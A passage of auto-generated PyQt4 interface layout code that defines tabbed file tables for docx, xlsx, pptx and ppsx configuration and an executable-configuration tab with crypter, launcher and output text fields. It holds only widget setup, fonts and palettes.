self.TableDocxAddFiles.setHorizontalHeaderItem(1, item)
item = QtGui.QTableWidgetItem()
font = QtGui.QFont()
font.setBold(True)
font.setWeight(75)
item.setFont(font)
self.TableDocxAddFiles.setHorizontalHeaderItem(2, item)
self.TableDocxAddFiles.horizontalHeader().setCascadingSectionResizes(False)
self.TableDocxAddFiles.horizontalHeader().setDefaultSectionSize(300)
self.TableDocxAddFiles.horizontalHeader().setStretchLastSection(True)
self.TableDocxAddFiles.verticalHeader().setVisible(False)
self.TableDocxAddFiles.verticalHeader().setCascadingSectionResizes(False)
self.TableDocxAddFiles.verticalHeader().setDefaultSectionSize(30)
self.AddFileDocxConfAdd = QtGui.QPushButton(self.ZipConfAdd_7)
self.AddFileDocxConfAdd.setGeometry(QtCore.QRect(10, 0, 101, 21))
font = QtGui.QFont()
font.setPointSize(9)
self.AddFileDocxConfAdd.setFont(font)
self.AddFileDocxConfAdd.setIcon(icon3)
self.AddFileDocxConfAdd.setIconSize(QtCore.QSize(12, 12))
self.AddFileDocxConfAdd.setObjectName(_fromUtf8("AddFileDocxConfAdd"))
self.ZIPConfTab_6.addTab(self.ZipConfAdd_7, _fromUtf8(""))
self.ooxmlTabs.addTab(self.docx, _fromUtf8(""))
self.xlsx = QtGui.QWidget()
self.xlsx.setObjectName(_fromUtf8("xlsx"))
self.ZIPConfTab_7 = QtGui.QTabWidget(self.xlsx)
self.ZIPConfTab_7.setGeometry(QtCore.QRect(0, 0, 931, 651))
font = QtGui.QFont()
font.setPointSize(9)
self.ZIPConfTab_7.setFont(font)
self.ZIPConfTab_7.setAcceptDrops(True)
self.ZIPConfTab_7.setIconSize(QtCore.QSize(12, 12))
self.ZIPConfTab_7.setObjectName(_fromUtf8("ZIPConfTab_7"))
self.ZIPConfMod_8 = QtGui.QWidget()
self.ZIPConfMod_8.setAcceptDrops(True)
self.ZIPConfMod_8.setObjectName(_fromUtf8("ZIPConfMod_8"))
self.TableXlsxModFiles = QtGui.QTableWidget(self.ZIPConfMod_8)
self.TableXlsxModFiles.setGeometry(QtCore.QRect(10, 30, 911, 581))
palette = QtGui.QPalette()
brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Base, brush)
brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Base, brush)
brush = QtGui.QBrush(QtGui.QColor(212, 208, 200))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Base, brush)
self.TableXlsxModFiles.setPalette(palette)
font = QtGui.QFont()
font.setPointSize(9)
font.setBold(False)
font.setWeight(50)
self.TableXlsxModFiles.setFont(font)
self.TableXlsxModFiles.setAcceptDrops(True)
self.TableXlsxModFiles.setAutoFillBackground(False)
self.TableXlsxModFiles.setFrameShape(QtGui.QFrame.NoFrame)
self.TableXlsxModFiles.setMidLineWidth(1)
self.TableXlsxModFiles.setDragEnabled(False)
self.TableXlsxModFiles.setDragDropMode(QtGui.QAbstractItemView.DropOnly)
self.TableXlsxModFiles.setDefaultDropAction(QtCore.Qt.CopyAction)
self.TableXlsxModFiles.setAlternatingRowColors(True)
self.TableXlsxModFiles.setSelectionMode(QtGui.QAbstractItemView.ContiguousSelection)
self.TableXlsxModFiles.setRowCount(0)
self.TableXlsxModFiles.setColumnCount(4)
self.TableXlsxModFiles.setObjectName(_fromUtf8("TableXlsxModFiles"))
item = QtGui.QTableWidgetItem()
self.TableXlsxModFiles.setHorizontalHeaderItem(0, item)
item = QtGui.QTableWidgetItem()
font = QtGui.QFont()
font.setBold(True)
font.setWeight(75)
item.setFont(font)
self.TableXlsxModFiles.setHorizontalHeaderItem(1, item)
item = QtGui.QTableWidgetItem()
font = QtGui.QFont()
font.setBold(True)
font.setWeight(75)
item.setFont(font)
self.TableXlsxModFiles.setHorizontalHeaderItem(2, item)
item = QtGui.QTableWidgetItem()
font = QtGui.QFont()
font.setBold(True)
font.setWeight(75)
item.setFont(font)
self.TableXlsxModFiles.setHorizontalHeaderItem(3, item)
self.TableXlsxModFiles.horizontalHeader().setCascadingSectionResizes(False)
self.TableXlsxModFiles.horizontalHeader().setDefaultSectionSize(200)
self.TableXlsxModFiles.horizontalHeader().setStretchLastSection(True)
self.TableXlsxModFiles.verticalHeader().setVisible(False)
self.TableXlsxModFiles.verticalHeader().setCascadingSectionResizes(False)
self.TableXlsxModFiles.verticalHeader().setDefaultSectionSize(30)
self.TableXlsxModFiles.verticalHeader().setHighlightSections(False)
self.TableXlsxModFiles.verticalHeader().setSortIndicatorShown(False)
self.TableXlsxModFiles.verticalHeader().setStretchLastSection(False)
self.AddModXlsxButton = QtGui.QPushButton(self.ZIPConfMod_8)
self.AddModXlsxButton.setGeometry(QtCore.QRect(10, 0, 111, 21))
font = QtGui.QFont()
font.setPointSize(9)
self.AddModXlsxButton.setFont(font)
self.AddModXlsxButton.setIcon(icon3)
self.AddModXlsxButton.setIconSize(QtCore.QSize(12, 12))
self.AddModXlsxButton.setObjectName(_fromUtf8("AddModXlsxButton"))
self.ZIPConfTab_7.addTab(self.ZIPConfMod_8, _fromUtf8(""))
self.ZipConfAdd_8 = QtGui.QWidget()
self.ZipConfAdd_8.setAcceptDrops(True)
self.ZipConfAdd_8.setObjectName(_fromUtf8("ZipConfAdd_8"))
self.TableXlsxAddFiles = QtGui.QTableWidget(self.ZipConfAdd_8)
self.TableXlsxAddFiles.setGeometry(QtCore.QRect(10, 30, 911, 581))
palette = QtGui.QPalette()
brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Base, brush)
brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Base, brush)
brush = QtGui.QBrush(QtGui.QColor(212, 208, 200))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Base, brush)
self.TableXlsxAddFiles.setPalette(palette)
font = QtGui.QFont()
font.setPointSize(9)
font.setBold(False)
font.setWeight(50)
self.TableXlsxAddFiles.setFont(font)
self.TableXlsxAddFiles.setAcceptDrops(True)
self.TableXlsxAddFiles.setAutoFillBackground(False)
self.TableXlsxAddFiles.setFrameShape(QtGui.QFrame.NoFrame)
self.TableXlsxAddFiles.setLineWidth(0)
self.TableXlsxAddFiles.setMidLineWidth(0)
self.TableXlsxAddFiles.setDragEnabled(True)
self.TableXlsxAddFiles.setDragDropMode(QtGui.QAbstractItemView.DropOnly)
self.TableXlsxAddFiles.setDefaultDropAction(QtCore.Qt.LinkAction)
self.TableXlsxAddFiles.setAlternatingRowColors(True)
self.TableXlsxAddFiles.setShowGrid(True)
self.TableXlsxAddFiles.setGridStyle(QtCore.Qt.SolidLine)
self.TableXlsxAddFiles.setCornerButtonEnabled(True)
self.TableXlsxAddFiles.setRowCount(0)
self.TableXlsxAddFiles.setColumnCount(3)
self.TableXlsxAddFiles.setObjectName(_fromUtf8("TableXlsxAddFiles"))
item = QtGui.QTableWidgetItem()
self.TableXlsxAddFiles.setHorizontalHeaderItem(0, item)
item = QtGui.QTableWidgetItem()
font = QtGui.QFont()
font.setBold(True)
font.setWeight(75)
item.setFont(font)
self.TableXlsxAddFiles.setHorizontalHeaderItem(1, item)
item = QtGui.QTableWidgetItem()
font = QtGui.QFont()
font.setBold(True)
font.setWeight(75)
item.setFont(font)
self.TableXlsxAddFiles.setHorizontalHeaderItem(2, item)
self.TableXlsxAddFiles.horizontalHeader().setCascadingSectionResizes(False)
self.TableXlsxAddFiles.horizontalHeader().setDefaultSectionSize(300)
self.TableXlsxAddFiles.horizontalHeader().setStretchLastSection(True)
self.TableXlsxAddFiles.verticalHeader().setVisible(False)
self.TableXlsxAddFiles.verticalHeader().setCascadingSectionResizes(False)
self.TableXlsxAddFiles.verticalHeader().setDefaultSectionSize(30)
self.TableXlsxAddFiles.verticalHeader().setHighlightSections(False)
self.AddFileXlsxButton = QtGui.QPushButton(self.ZipConfAdd_8)
self.AddFileXlsxButton.setGeometry(QtCore.QRect(10, 0, 101, 21))
font = QtGui.QFont()
font.setPointSize(9)
self.AddFileXlsxButton.setFont(font)
self.AddFileXlsxButton.setIcon(icon3)
self.AddFileXlsxButton.setIconSize(QtCore.QSize(12, 12))
self.AddFileXlsxButton.setObjectName(_fromUtf8("AddFileXlsxButton"))
self.ZIPConfTab_7.addTab(self.ZipConfAdd_8, _fromUtf8(""))
self.ooxmlTabs.addTab(self.xlsx, _fromUtf8(""))
self.pptx = QtGui.QWidget()
self.pptx.setObjectName(_fromUtf8("pptx"))
self.ZIPConfTab_8 = QtGui.QTabWidget(self.pptx)
self.ZIPConfTab_8.setGeometry(QtCore.QRect(0, 0, 931, 651))
font = QtGui.QFont()
font.setPointSize(9)
self.ZIPConfTab_8.setFont(font)
self.ZIPConfTab_8.setAcceptDrops(True)
self.ZIPConfTab_8.setIconSize(QtCore.QSize(12, 12))
self.ZIPConfTab_8.setObjectName(_fromUtf8("ZIPConfTab_8"))
self.ZIPConfMod_9 = QtGui.QWidget()
self.ZIPConfMod_9.setAcceptDrops(True)
self.ZIPConfMod_9.setObjectName(_fromUtf8("ZIPConfMod_9"))
self.TablePptxModFiles = QtGui.QTableWidget(self.ZIPConfMod_9)
self.TablePptxModFiles.setGeometry(QtCore.QRect(10, 30, 911, 581))
palette = QtGui.QPalette()
brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Base, brush)
brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Base, brush)
brush = QtGui.QBrush(QtGui.QColor(212, 208, 200))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Base, brush)
self.TablePptxModFiles.setPalette(palette)
font = QtGui.QFont()
font.setPointSize(9)
font.setBold(False)
font.setWeight(50)
self.TablePptxModFiles.setFont(font)
self.TablePptxModFiles.setAcceptDrops(True)
self.TablePptxModFiles.setAutoFillBackground(False)
self.TablePptxModFiles.setFrameShape(QtGui.QFrame.NoFrame)
self.TablePptxModFiles.setMidLineWidth(1)
self.TablePptxModFiles.setDragEnabled(False)
self.TablePptxModFiles.setDragDropMode(QtGui.QAbstractItemView.DropOnly)
self.TablePptxModFiles.setDefaultDropAction(QtCore.Qt.CopyAction)
self.TablePptxModFiles.setAlternatingRowColors(True)
self.TablePptxModFiles.setSelectionMode(QtGui.QAbstractItemView.ContiguousSelection)
self.TablePptxModFiles.setRowCount(0)
self.TablePptxModFiles.setColumnCount(4)
self.TablePptxModFiles.setObjectName(_fromUtf8("TablePptxModFiles"))
item = QtGui.QTableWidgetItem()
self.TablePptxModFiles.setHorizontalHeaderItem(0, item)
item = QtGui.QTableWidgetItem()
font = QtGui.QFont()
font.setBold(True)
font.setWeight(75)
item.setFont(font)
self.TablePptxModFiles.setHorizontalHeaderItem(1, item)
item = QtGui.QTableWidgetItem()
font = QtGui.QFont()
font.setBold(True)
font.setWeight(75)
item.setFont(font)
self.TablePptxModFiles.setHorizontalHeaderItem(2, item)
item = QtGui.QTableWidgetItem()
font = QtGui.QFont()
font.setBold(True)
font.setWeight(75)
item.setFont(font)
self.TablePptxModFiles.setHorizontalHeaderItem(3, item)
self.TablePptxModFiles.horizontalHeader().setCascadingSectionResizes(False)
self.TablePptxModFiles.horizontalHeader().setDefaultSectionSize(200)
self.TablePptxModFiles.horizontalHeader().setStretchLastSection(True)
self.TablePptxModFiles.verticalHeader().setVisible(False)
self.TablePptxModFiles.verticalHeader().setCascadingSectionResizes(False)
self.TablePptxModFiles.verticalHeader().setDefaultSectionSize(30)
self.TablePptxModFiles.verticalHeader().setHighlightSections(False)
self.TablePptxModFiles.verticalHeader().setSortIndicatorShown(False)
self.TablePptxModFiles.verticalHeader().setStretchLastSection(False)
self.AddModPptxButton = QtGui.QPushButton(self.ZIPConfMod_9)
self.AddModPptxButton.setGeometry(QtCore.QRect(10, 0, 111, 21))
font = QtGui.QFont()
font.setPointSize(9)
self.AddModPptxButton.setFont(font)
self.AddModPptxButton.setIcon(icon3)
self.AddModPptxButton.setIconSize(QtCore.QSize(12, 12))
self.AddModPptxButton.setObjectName(_fromUtf8("AddModPptxButton"))
self.ZIPConfTab_8.addTab(self.ZIPConfMod_9, _fromUtf8(""))
self.ZipConfAdd_9 = QtGui.QWidget()
self.ZipConfAdd_9.setAcceptDrops(True)
self.ZipConfAdd_9.setObjectName(_fromUtf8("ZipConfAdd_9"))
self.TablePptxAddFiles = QtGui.QTableWidget(self.ZipConfAdd_9)
self.TablePptxAddFiles.setGeometry(QtCore.QRect(10, 30, 911, 571))
palette = QtGui.QPalette()
brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Base, brush)
brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Base, brush)
brush = QtGui.QBrush(QtGui.QColor(212, 208, 200))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Base, brush)
self.TablePptxAddFiles.setPalette(palette)
font = QtGui.QFont()
font.setFamily(_fromUtf8("Lucida Grande"))
font.setPointSize(9)
font.setBold(False)
font.setWeight(50)
self.TablePptxAddFiles.setFont(font)
self.TablePptxAddFiles.setAcceptDrops(True)
self.TablePptxAddFiles.setAutoFillBackground(False)
self.TablePptxAddFiles.setFrameShape(QtGui.QFrame.NoFrame)
self.TablePptxAddFiles.setLineWidth(0)
self.TablePptxAddFiles.setMidLineWidth(0)
self.TablePptxAddFiles.setDragEnabled(True)
self.TablePptxAddFiles.setDragDropMode(QtGui.QAbstractItemView.DropOnly)
self.TablePptxAddFiles.setDefaultDropAction(QtCore.Qt.LinkAction)
self.TablePptxAddFiles.setAlternatingRowColors(True)
self.TablePptxAddFiles.setShowGrid(True)
self.TablePptxAddFiles.setGridStyle(QtCore.Qt.SolidLine)
self.TablePptxAddFiles.setCornerButtonEnabled(True)
self.TablePptxAddFiles.setRowCount(0)
self.TablePptxAddFiles.setColumnCount(3)
self.TablePptxAddFiles.setObjectName(_fromUtf8("TablePptxAddFiles"))
item = QtGui.QTableWidgetItem()
self.TablePptxAddFiles.setHorizontalHeaderItem(0, item)
item = QtGui.QTableWidgetItem()
font = QtGui.QFont()
font.setBold(True)
font.setWeight(75)
item.setFont(font)
self.TablePptxAddFiles.setHorizontalHeaderItem(1, item)
item = QtGui.QTableWidgetItem()
font = QtGui.QFont()
font.setBold(True)
font.setWeight(75)
item.setFont(font)
self.TablePptxAddFiles.setHorizontalHeaderItem(2, item)
self.TablePptxAddFiles.horizontalHeader().setCascadingSectionResizes(False)
self.TablePptxAddFiles.horizontalHeader().setDefaultSectionSize(300)
self.TablePptxAddFiles.horizontalHeader().setStretchLastSection(True)
self.TablePptxAddFiles.verticalHeader().setVisible(False)
self.TablePptxAddFiles.verticalHeader().setCascadingSectionResizes(False)
self.TablePptxAddFiles.verticalHeader().setDefaultSectionSize(30)
self.AddFilePptxButton = QtGui.QPushButton(self.ZipConfAdd_9)
self.AddFilePptxButton.setGeometry(QtCore.QRect(10, 0, 101, 21))
font = QtGui.QFont()
font.setPointSize(9)
self.AddFilePptxButton.setFont(font)
self.AddFilePptxButton.setIcon(icon3)
self.AddFilePptxButton.setIconSize(QtCore.QSize(12, 12))
self.AddFilePptxButton.setObjectName(_fromUtf8("AddFilePptxButton"))
self.ZIPConfTab_8.addTab(self.ZipConfAdd_9, _fromUtf8(""))
self.ooxmlTabs.addTab(self.pptx, _fromUtf8(""))
self.pptsx = QtGui.QWidget()
self.pptsx.setObjectName(_fromUtf8("pptsx"))
self.ZIPConfTab_9 = QtGui.QTabWidget(self.pptsx)
self.ZIPConfTab_9.setGeometry(QtCore.QRect(0, 0, 931, 651))
font = QtGui.QFont()
font.setPointSize(9)
self.ZIPConfTab_9.setFont(font)
self.ZIPConfTab_9.setAcceptDrops(True)
self.ZIPConfTab_9.setIconSize(QtCore.QSize(12, 12))
self.ZIPConfTab_9.setObjectName(_fromUtf8("ZIPConfTab_9"))
self.ZIPConfMod_10 = QtGui.QWidget()
self.ZIPConfMod_10.setAcceptDrops(True)
self.ZIPConfMod_10.setObjectName(_fromUtf8("ZIPConfMod_10"))
self.TablePpsxModFiles = QtGui.QTableWidget(self.ZIPConfMod_10)
self.TablePpsxModFiles.setGeometry(QtCore.QRect(10, 30, 911, 581))
palette = QtGui.QPalette()
brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Base, brush)
brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Base, brush)
brush = QtGui.QBrush(QtGui.QColor(212, 208, 200))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Base, brush)
self.TablePpsxModFiles.setPalette(palette)
font = QtGui.QFont()
font.setPointSize(9)
self.TablePpsxModFiles.setFont(font)
self.TablePpsxModFiles.setAcceptDrops(True)
self.TablePpsxModFiles.setAutoFillBackground(False)
self.TablePpsxModFiles.setFrameShape(QtGui.QFrame.NoFrame)
self.TablePpsxModFiles.setMidLineWidth(1)
self.TablePpsxModFiles.setDragEnabled(False)
self.TablePpsxModFiles.setDragDropMode(QtGui.QAbstractItemView.DropOnly)
self.TablePpsxModFiles.setDefaultDropAction(QtCore.Qt.CopyAction)
self.TablePpsxModFiles.setAlternatingRowColors(True)
self.TablePpsxModFiles.setSelectionMode(QtGui.QAbstractItemView.ContiguousSelection)
self.TablePpsxModFiles.setRowCount(0)
self.TablePpsxModFiles.setColumnCount(4)
self.TablePpsxModFiles.setObjectName(_fromUtf8("TablePpsxModFiles"))
item = QtGui.QTableWidgetItem()
self.TablePpsxModFiles.setHorizontalHeaderItem(0, item)
item = QtGui.QTableWidgetItem()
font = QtGui.QFont()
font.setBold(True)
font.setWeight(75)
item.setFont(font)
self.TablePpsxModFiles.setHorizontalHeaderItem(1, item)
item = QtGui.QTableWidgetItem()
font = QtGui.QFont()
font.setBold(True)
font.setWeight(75)
item.setFont(font)
self.TablePpsxModFiles.setHorizontalHeaderItem(2, item)
item = QtGui.QTableWidgetItem()
font = QtGui.QFont()
font.setBold(True)
font.setWeight(75)
item.setFont(font)
self.TablePpsxModFiles.setHorizontalHeaderItem(3, item)
self.TablePpsxModFiles.horizontalHeader().setCascadingSectionResizes(False)
self.TablePpsxModFiles.horizontalHeader().setDefaultSectionSize(200)
self.TablePpsxModFiles.horizontalHeader().setStretchLastSection(True)
self.TablePpsxModFiles.verticalHeader().setVisible(False)
self.TablePpsxModFiles.verticalHeader().setCascadingSectionResizes(False)
self.TablePpsxModFiles.verticalHeader().setDefaultSectionSize(30)
self.TablePpsxModFiles.verticalHeader().setHighlightSections(False)
self.TablePpsxModFiles.verticalHeader().setSortIndicatorShown(False)
self.TablePpsxModFiles.verticalHeader().setStretchLastSection(False)
self.AddModPpsxButton = QtGui.QPushButton(self.ZIPConfMod_10)
self.AddModPpsxButton.setGeometry(QtCore.QRect(10, 0, 111, 21))
font = QtGui.QFont()
font.setPointSize(9)
self.AddModPpsxButton.setFont(font)
self.AddModPpsxButton.setIcon(icon3)
self.AddModPpsxButton.setIconSize(QtCore.QSize(12, 12))
self.AddModPpsxButton.setObjectName(_fromUtf8("AddModPpsxButton"))
self.ZIPConfTab_9.addTab(self.ZIPConfMod_10, _fromUtf8(""))
self.ZipConfAdd_10 = QtGui.QWidget()
self.ZipConfAdd_10.setAcceptDrops(True)
self.ZipConfAdd_10.setObjectName(_fromUtf8("ZipConfAdd_10"))
self.TablePpsxAddFiles = QtGui.QTableWidget(self.ZipConfAdd_10)
self.TablePpsxAddFiles.setGeometry(QtCore.QRect(10, 30, 911, 571))
palette = QtGui.QPalette()
brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Base, brush)
brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Base, brush)
brush = QtGui.QBrush(QtGui.QColor(212, 208, 200))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Base, brush)
self.TablePpsxAddFiles.setPalette(palette)
font = QtGui.QFont()
font.setPointSize(9)
self.TablePpsxAddFiles.setFont(font)
self.TablePpsxAddFiles.setAcceptDrops(True)
self.TablePpsxAddFiles.setAutoFillBackground(False)
self.TablePpsxAddFiles.setFrameShape(QtGui.QFrame.NoFrame)
self.TablePpsxAddFiles.setLineWidth(0)
self.TablePpsxAddFiles.setMidLineWidth(0)
self.TablePpsxAddFiles.setDragEnabled(True)
self.TablePpsxAddFiles.setDragDropMode(QtGui.QAbstractItemView.DropOnly)
self.TablePpsxAddFiles.setDefaultDropAction(QtCore.Qt.LinkAction)
self.TablePpsxAddFiles.setAlternatingRowColors(True)
self.TablePpsxAddFiles.setShowGrid(True)
self.TablePpsxAddFiles.setGridStyle(QtCore.Qt.SolidLine)
self.TablePpsxAddFiles.setCornerButtonEnabled(True)
self.TablePpsxAddFiles.setRowCount(0)
self.TablePpsxAddFiles.setColumnCount(3)
self.TablePpsxAddFiles.setObjectName(_fromUtf8("TablePpsxAddFiles"))
item = QtGui.QTableWidgetItem()
self.TablePpsxAddFiles.setHorizontalHeaderItem(0, item)
item = QtGui.QTableWidgetItem()
font = QtGui.QFont()
font.setBold(True)
font.setWeight(75)
item.setFont(font)
self.TablePpsxAddFiles.setHorizontalHeaderItem(1, item)
item = QtGui.QTableWidgetItem()
font = QtGui.QFont()
font.setBold(True)
font.setWeight(75)
item.setFont(font)
self.TablePpsxAddFiles.setHorizontalHeaderItem(2, item)
self.TablePpsxAddFiles.horizontalHeader().setCascadingSectionResizes(False)
self.TablePpsxAddFiles.horizontalHeader().setDefaultSectionSize(300)
self.TablePpsxAddFiles.horizontalHeader().setStretchLastSection(True)
self.TablePpsxAddFiles.verticalHeader().setVisible(False)
self.TablePpsxAddFiles.verticalHeader().setCascadingSectionResizes(False)
self.TablePpsxAddFiles.verticalHeader().setDefaultSectionSize(30)
self.AddFilePpsxButton = QtGui.QPushButton(self.ZipConfAdd_10)
self.AddFilePpsxButton.setGeometry(QtCore.QRect(10, 0, 101, 21))
font = QtGui.QFont()
font.setPointSize(9)
self.AddFilePpsxButton.setFont(font)
self.AddFilePpsxButton.setIcon(icon3)
self.AddFilePpsxButton.setIconSize(QtCore.QSize(12, 12))
self.AddFilePpsxButton.setObjectName(_fromUtf8("AddFilePpsxButton"))
self.ZIPConfTab_9.addTab(self.ZipConfAdd_10, _fromUtf8(""))
self.ooxmlTabs.addTab(self.pptsx, _fromUtf8(""))
self.OOXMLLoadButton = QtGui.QPushButton(self.ooxmlconf)
self.OOXMLLoadButton.setGeometry(QtCore.QRect(10, 531, 171, 21))
font = QtGui.QFont()
font.setPointSize(9)
self.OOXMLLoadButton.setFont(font)
self.OOXMLLoadButton.setObjectName(_fromUtf8("OOXMLLoadButton"))
self.OOXMLSaveButton = QtGui.QPushButton(self.ooxmlconf)
self.OOXMLSaveButton.setGeometry(QtCore.QRect(200, 531, 181, 21))
font = QtGui.QFont()
font.setPointSize(9)
self.OOXMLSaveButton.setFont(font)
self.OOXMLSaveButton.setObjectName(_fromUtf8("OOXMLSaveButton"))
self.tabWidget.addTab(self.ooxmlconf, _fromUtf8(""))
self.EXEconf = QtGui.QWidget()
font = QtGui.QFont()
font.setPointSize(12)
font.setBold(True)
font.setWeight(75)
self.EXEconf.setFont(font)
self.EXEconf.setObjectName(_fromUtf8("EXEconf"))
self.PeLoadButton = QtGui.QPushButton(self.EXEconf)
self.PeLoadButton.setGeometry(QtCore.QRect(10, 270, 151, 20))
font = QtGui.QFont()
font.setPointSize(9)
self.PeLoadButton.setFont(font)
self.PeLoadButton.setObjectName(_fromUtf8("PeLoadButton"))
self.PeSaveButton = QtGui.QPushButton(self.EXEconf)
self.PeSaveButton.setGeometry(QtCore.QRect(180, 270, 181, 20))
font = QtGui.QFont()
font.setPointSize(9)
self.PeSaveButton.setFont(font)
self.PeSaveButton.setObjectName(_fromUtf8("PeSaveButton"))
self.layoutWidget = QtGui.QWidget(self.EXEconf)
self.layoutWidget.setGeometry(QtCore.QRect(0, 30, 781, 191))
font = QtGui.QFont()
font.setPointSize(9)
self.layoutWidget.setFont(font)
self.layoutWidget.setObjectName(_fromUtf8("layoutWidget"))
self.verticalLayout_2 = QtGui.QVBoxLayout(self.layoutWidget)
self.verticalLayout_2.setMargin(0)
self.verticalLayout_2.setObjectName(_fromUtf8("verticalLayout_2"))
self.horizontalLayout_6 = QtGui.QHBoxLayout()
self.horizontalLayout_6.setObjectName(_fromUtf8("horizontalLayout_6"))
self.label_6 = QtGui.QLabel(self.layoutWidget)
font = QtGui.QFont()
font.setFamily(_fromUtf8("DIN Alternate"))
font.setPointSize(10)
font.setBold(True)
font.setWeight(75)
self.label_6.setFont(font)
self.label_6.setAlignment(QtCore.Qt.AlignRight|QtCore.Qt.AlignTrailing|QtCore.Qt.AlignVCenter)
self.label_6.setWordWrap(False)
self.label_6.setObjectName(_fromUtf8("label_6"))
self.horizontalLayout_6.addWidget(self.label_6)
self.CrypterText = QtGui.QTextBrowser(self.layoutWidget)
font = QtGui.QFont()
font.setFamily(_fromUtf8("Gill Sans MT"))
font.setPointSize(9)
font.setBold(False)
font.setWeight(50)
self.CrypterText.setFont(font)
self.CrypterText.viewport().setProperty("cursor", QtGui.QCursor(QtCore.Qt.IBeamCursor))
self.CrypterText.setFrameShape(QtGui.QFrame.StyledPanel)
self.CrypterText.setFrameShadow(QtGui.QFrame.Plain)
self.CrypterText.setVerticalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOff)
self.CrypterText.setHorizontalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOff)
self.CrypterText.setTabChangesFocus(True)
self.CrypterText.setUndoRedoEnabled(True)
self.CrypterText.setLineWrapMode(QtGui.QTextEdit.NoWrap)
self.CrypterText.setReadOnly(False)
self.CrypterText.setAcceptRichText(False)
self.CrypterText.setOpenExternalLinks(False)
self.CrypterText.setOpenLinks(False)
self.CrypterText.setObjectName(_fromUtf8("CrypterText"))
self.horizontalLayout_6.addWidget(self.CrypterText)
self.verticalLayout_2.addLayout(self.horizontalLayout_6)
self.horizontalLayout_5 = QtGui.QHBoxLayout()
self.horizontalLayout_5.setObjectName(_fromUtf8("horizontalLayout_5"))
self.label = QtGui.QLabel(self.layoutWidget)
font = QtGui.QFont()
font.setFamily(_fromUtf8("DIN Alternate"))
font.setPointSize(10)
self.label.setFont(font)
self.label.setAlignment(QtCore.Qt.AlignRight|QtCore.Qt.AlignTrailing|QtCore.Qt.AlignVCenter)
self.label.setObjectName(_fromUtf8("label"))
self.horizontalLayout_5.addWidget(self.label)
self.LaucherText = QtGui.QTextBrowser(self.layoutWidget)
font = QtGui.QFont()
font.setPointSize(9)
font.setBold(False)
font.setWeight(50)
self.LaucherText.setFont(font)
self.LaucherText.viewport().setProperty("cursor", QtGui.QCursor(QtCore.Qt.IBeamCursor))
self.LaucherText.setFrameShape(QtGui.QFrame.StyledPanel)
self.LaucherText.setFrameShadow(QtGui.QFrame.Plain)
self.LaucherText.setVerticalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOff)
self.LaucherText.setHorizontalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOff)
self.LaucherText.setTabChangesFocus(True)
self.LaucherText.setUndoRedoEnabled(True)
self.LaucherText.setLineWrapMode(QtGui.QTextEdit.NoWrap)
self.LaucherText.setReadOnly(False)
self.LaucherText.setAcceptRichText(False)
self.LaucherText.setOpenExternalLinks(False)
self.LaucherText.setOpenLinks(False)
self.LaucherText.setObjectName(_fromUtf8("LaucherText"))
self.horizontalLayout_5.addWidget(self.LaucherText)
self.verticalLayout_2.addLayout(self.horizontalLayout_5)
self.horizontalLayout_4 = QtGui.QHBoxLayout()
self.horizontalLayout_4.setObjectName(_fromUtf8("horizontalLayout_4"))
self.label_2 = QtGui.QLabel(self.layoutWidget)
font = QtGui.QFont()
font.setFamily(_fromUtf8("DIN Alternate"))
font.setPointSize(10)
self.label_2.setFont(font)
self.label_2.setAlignment(QtCore.Qt.AlignRight|QtCore.Qt.AlignTrailing|QtCore.Qt.AlignVCenter)
self.label_2.setObjectName(_fromUtf8("label_2"))
self.horizontalLayout_4.addWidget(self.label_2)
self.OutputText = QtGui.QTextBrowser(self.layoutWidget)
font = QtGui.QFont()
font.setPointSize(9)
font.setBold(False)
font.setWeight(50)
self.OutputText.setFont(font)
self.OutputText.viewport().setProperty("cursor", QtGui.QCursor(QtCore.Qt.IBeamCursor))
